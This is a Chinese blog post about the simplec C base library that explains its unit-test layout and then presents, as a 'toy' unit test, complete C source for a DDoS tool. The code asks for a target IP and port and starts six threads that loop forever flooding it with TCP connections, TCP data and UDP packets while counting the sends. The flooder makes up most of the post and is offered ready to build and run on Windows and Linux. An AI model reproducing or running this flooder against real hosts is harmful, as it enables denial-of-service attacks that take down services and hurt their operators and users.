• c basic library framework


    前言 - simplec 单元测试 流程介绍 

      一个关于C基础库 simplec 2.0.0 发布了. 详细的文档介绍请参照 README.md.

    说的再多都无用, 抵不上 gdb 一个 b r n. 本文就简单介绍一下 simplec 中怎么添加单元测试功能.

      simplec winds Debug 启动流程是 main -> simplec_main -> simplec_test. 所以所有的

    单元测试都采用如下结构

    /*
     * simple c 单元测试主函数
     * return    : void
     */
    void 
    simplec_test(void) {
        // 单元测试 - 测试 plog 日志系统
        extern void test_plog(void);
        // 单元测试 - 测试 scthreads 线程池
        extern void test_scthreads(void);
        // 单元测试 - 测试 iop 网络io
        extern void test_iopserver(void);
        // 单元测试 - 测试 libcurl http 库
        extern void test_httputil(void);
        // 单元测试 - 测试 玩具 ddos攻击
        extern void test_ddos(void);
    
        test_ddos();
    }

    需要注意的是, 每一个单元测试函数,必须对映一个同名的文件结构. 如下图展示

    利用上面规则, 在linux上会生成对应的 单元测试执行文件, 方便脚本联合测试.

    # 单元测试使用, 生成指定主函数的运行程序, 替换回main操作
    RUNT    = $(RHAD) -o $(TAR_PATH)/$(TEST_DIR)/$@ $(RTAL)
    COPT    = objcopy --redefine-sym $(basename $@)=main $(OBJP)$(basename $@).o

    更加详细的规则, 可以学学Makefile

    正文 - 不妨用simplec 写个 ddos攻击

      说太多没用, 基础库层面, 如少林武功. 唯有一招一式的练习. 没用魔法, 斗气那么灿烂.

    攻击思路也很简单, tcp, udp 来回搞. 确实有的公司例如百度对ddos攻击防御做的很好.

    直接上代码 添加 单元测试模块 test_ddos.c

    #include <iop_util.h>
    #include <scthreads.h>
    
    #define _INT_HOSTV4        (16)    
    #define _INT_TIMEOUT    (3000)
    
    struct targ {
        sockaddr_t addr;
        char ts[BUFSIZ];
        char us[BUFSIZ];
    
        // 攻击次数统计
        uint64_t connect;
        uint64_t tcpsend;
        uint64_t udpsend;
    };
    
    // 得到玩家输入的地址信息
    void addr_input(sockaddr_t * addr);
    
    // 检查IP是否合法
    bool addr_check(sockaddr_t * addr);
    
    // 目前启动3个类型线程, 2个是connect, 2个是connect + send 2个是 udp send
    void ddos_run(struct targ * arg);
    
    //
    // ddos attack entrance
    //
    void test_ddos(void) {
        // 记录详细攻击的量, ts and us 是脏数据随便发
        struct targ arg;
        arg.udpsend = arg.tcpsend = arg.connect = 0;
    
        // 得到玩家的地址信息
        addr_input(&arg.addr);
    
        if (!addr_check(&arg.addr))
            CERR_EXIT("ip or port check is error!!!");
    
        // 开始要启动线程了
        ddos_run(&arg);
    
        // :> 开始统计数据
        puts("connect count        tcp send count            udp send count");
        for (;;) {
            printf(" %"PRIu64"             %"PRIu64"                 %"PRIu64"
    ", arg.connect, arg.tcpsend, arg.udpsend);
            sh_sleep(_INT_TIMEOUT);
        }
    }
    
    // 得到玩家输入的地址信息
    void
    addr_input(sockaddr_t * addr) {
        bool flag = true;
        int rt = 0;
        uint16_t port;
        char ip[_INT_HOSTV4] = { 0 };
    
        puts("Please input ip and port, example :> 127.0.0.1 8088");
        printf(":> ");
    
        // 自己重构scanf, 解决注入漏洞
        while (rt < _INT_HOSTV4 - 1) {
            char c = getchar();
            if (isspace(c)) {
                if (flag)
                    continue;
                break;
            }
            flag = false;
            ip[rt++] = c;
        }
        ip[rt] = '';
    
        rt = scanf("%hu", &port);
        if (rt != 1)
            CERR_EXIT("scanf_s addr->host = %s, port = %hu.", ip, port);
    
        printf("connect check input addr ip:port = %s:%hu.
    ", ip, port);
    
        // 下面就是待验证的地址信息
        if (socket_addr(ip, port, addr) < Success_Base)
            CERR_EXIT("socket_addr ip , port is error = %s, %hu.", ip, port);
    }
    
    // 检查IP是否合法
    bool
    addr_check(sockaddr_t * addr) {
        int r;
        socket_t s = socket_stream();
        if (s == INVALID_SOCKET) {
            RETURN(false, "socket_stream is error!!");
        }
    
        r = socket_connecto(s, addr, _INT_TIMEOUT);
        socket_close(s);
        if (r < Success_Base) {
            RETURN(false, "socket_connecto addr is timeout = %d.", _INT_TIMEOUT);
        }
    
        return true;
    }
    
    // connect 链接
    static void _connect(struct targ * targ) {
        // 疯狂connect
        for (;;) {
            socket_t s = socket_stream();
            if (s == INVALID_SOCKET) {
                CERR("socket_stream is error!");
                continue;
            }
    
            // 精确统计, 一定要连接成功
            while (socket_connect(s, &targ->addr) < Success_Base)
                ;
    
            ++targ->connect;
            socket_close(s);
        }
    }
    
    // connect + send 连接
    static void _tcpsend(struct targ * targ) {
        // 疯狂connect
        for (;;) {
            socket_t s = socket_stream();
            if (s == INVALID_SOCKET) {
                CERR("socket_stream is error!");
                continue;
            }
    
            // 精确统计, 一定要连接成功
            while (socket_connect(s, &targ->addr) < Success_Base)
                ;
    
            // 疯狂发送数据包
            while (socket_send(s, targ->ts, BUFSIZ) >= Success_Base)
                ++targ->tcpsend;
    
            socket_close(s);
        }
    }
    
    // udp send 连接
    static void _udpsend(struct targ * targ) {
        for (;;) {
            socket_t s = socket_dgram();
            if (s == INVALID_SOCKET) {
                CERR("socket_stream is error!");
                continue;
            }
    
            // 疯狂发送数据包
            while (socket_sendto(s, targ->us, BUFSIZ, 0, &targ->addr, sizeof(targ->addr)) >= Success_Base)
                ++targ->udpsend;
    
            socket_close(s);
        }
    }
    
    // 目前启动3个类型线程, 2个是connect, 2个是connect + send 2个是 udp send
    void
    ddos_run(struct targ * arg) {
        // 创建两个 connect 线程
        CERR_IF(async_run(_connect, arg));
        CERR_IF(async_run(_connect, arg));
    
        // 创建两个 connect + send 线程
        CERR_IF(async_run(_tcpsend, arg));
        CERR_IF(async_run(_tcpsend, arg));
    
        // 创建两个 _udpsend 线程
        CERR_IF(async_run(_udpsend, arg));
        CERR_IF(async_run(_udpsend, arg));
    }

    演示结果 先winds上测试一下

    再linux上测试一下, make ; cd Output/test; ./test_ddos.exe

    一切都是那么自然.[错误会被修复, 欢迎指正]

      simplec 欢迎尝试, 足够用C完成你想要的很多任务了. 它是框架层下面的基础库.

    一切才刚刚开始, 也是个很好的开始. (≖ᴗ≖)✧

      

  • 相关阅读:
    Mac终端运行java程序
    Mac上csv导入mysql提示错误[Error Code] 1290
    Mac终端使用mysql
    将spark默认日志log4j替换为logback
    Cocos2d-x 3.x部署到安卓
    Cocos2d-x 3.0 场景切换
    visual studio 未将对象引用设置到对象的实例
    C++ list用法
    减而治之
    递归
  • 原文地址:https://www.cnblogs.com/life2refuel/p/6955935.html
Copyright © 2020-2023  润新知